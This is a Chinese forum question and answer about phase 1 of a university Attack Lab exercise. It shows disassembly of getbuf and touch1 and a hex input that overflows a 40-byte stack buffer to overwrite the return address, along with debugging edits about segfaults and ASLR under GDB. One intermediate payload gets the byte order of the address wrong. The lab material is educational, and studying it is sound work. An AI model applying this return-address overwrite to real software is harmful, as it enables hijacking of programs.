Attack Lab阶段1分段故障

时间:2020-04-05 17:00:16

标签: assembly overloading buffer

我的攻击实验室的第一阶段是这样的:

Ctarget经过getbuf(),在其中我应该为该函数创建一个缓冲区,以直接跳转到函数touch1()而不是函数test()。

根据我的理解,我应该找到缓冲区大小并为其创建填充,然后在填充输入touch1()的小尾数地址之后。

0000000000001afc <getbuf>:
1afc:   48 83 ec 28             sub    $0x28,%rsp
1b00:   48 89 e7                mov    %rsp,%rdi
1b03:   e8 94 02 00 00          callq  1d9c <Gets>
1b08:   b8 01 00 00 00          mov    $0x1,%eax
1b0d:   48 83 c4 28             add    $0x28,%rsp
1b11:   c3                      retq   

0000000000001b12 <touch1>:
1b12:   48 83 ec 08             sub    $0x8,%rsp
1b16:   c7 05 bc 38 20 00 01    movl   $0x1,0x2038bc(%rip)        # 2053dc <vlevel>
1b1d:   00 00 00 
1b20:   48 8d 3d ab 19 00 00    lea    0x19ab(%rip),%rdi        # 34d2 <_IO_stdin_used+0x312>
1b27:   e8 64 f3 ff ff          callq  e90 <puts@plt>
1b2c:   bf 01 00 00 00          mov    $0x1,%edi
1b31:   e8 d6 04 00 00          callq  200c <validate>
1b36:   bf 00 00 00 00          mov    $0x0,%edi
1b3b:   e8 c0 f4 ff ff          callq  1000 <exit@plt>

在getbuf()中,我看到缓冲区的大小应为0x28,即十进制为40,因此应填充40个字节。 touch1()的地址为0000000000001b12,little endian将其设为12 1b 00 00 00 00 00 00。

我创建了phase1.txt:

00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
12 1b 00 00 00 00 00 00

有40个填充字节,然后是touch1()地址的小字节序,但是当我运行它时,这给我带来了分段错误。

我不知道自己在做什么错,因为在尝试使用我的版本后,我在网上查找了其他人所做的事情,而那也是我做的同样的事情。

编辑1:

我之前给出了一些错误的信息,为了避免出现分段错误,我不得不从填充中删除了9个字节,因此总共填充了31个字节,并增加了8个字节的地址。不确定是否有帮助。

编辑2:

我运行了gdb ctarget,并在getbuf处添加了一个断点。当我运行信息地址touch1时,该地址出现:

(gdb) info address touch1 Symbol "touch1" is a function at address 0x555555555b12.

看到此信息后,我将phase1.txt更改为:

CC CC CC CC CC CC CC CC
CC CC CC CC CC CC CC CC
CC CC CC CC CC CC CC CC
CC CC CC CC CC CC CC CC
CC 55 55 55 55 5b 12

运行cat phase1.txt | ./hex2raw | ./ctarget之后,不再有分段错误,因为它少于40个字节,但是它仍然没有运行。我不确定是否应该总共添加40个字节或填充40个字节,然后再添加地址。

最终编辑:

原来的问题不是我输入的文本文件,而是ASLR。自从我在GDB中运行它以来,这些地址也必须从GDB中获取并在GDB上运行。我必须通过hex2raw运行.txt文件,然后将原始文件放入GDB中,如下所示:

  • cat phase1.txt | ./hex2raw> raw1.txt
  • gdb ctarget
  • r

感谢大家的帮助!

1 个答案:

答案 0 :(得分:0)

原来的问题不是我输入的文本文件,而是ASLR。自从我在GDB中运行它以来,这些地址也必须从GDB中获取并在GDB上运行。我必须通过hex2raw运行.txt文件,然后将原始文件放入GDB中,如下所示:

  • cat phase1.txt | ./hex2raw> raw1.txt
  • gdb ctarget
  • r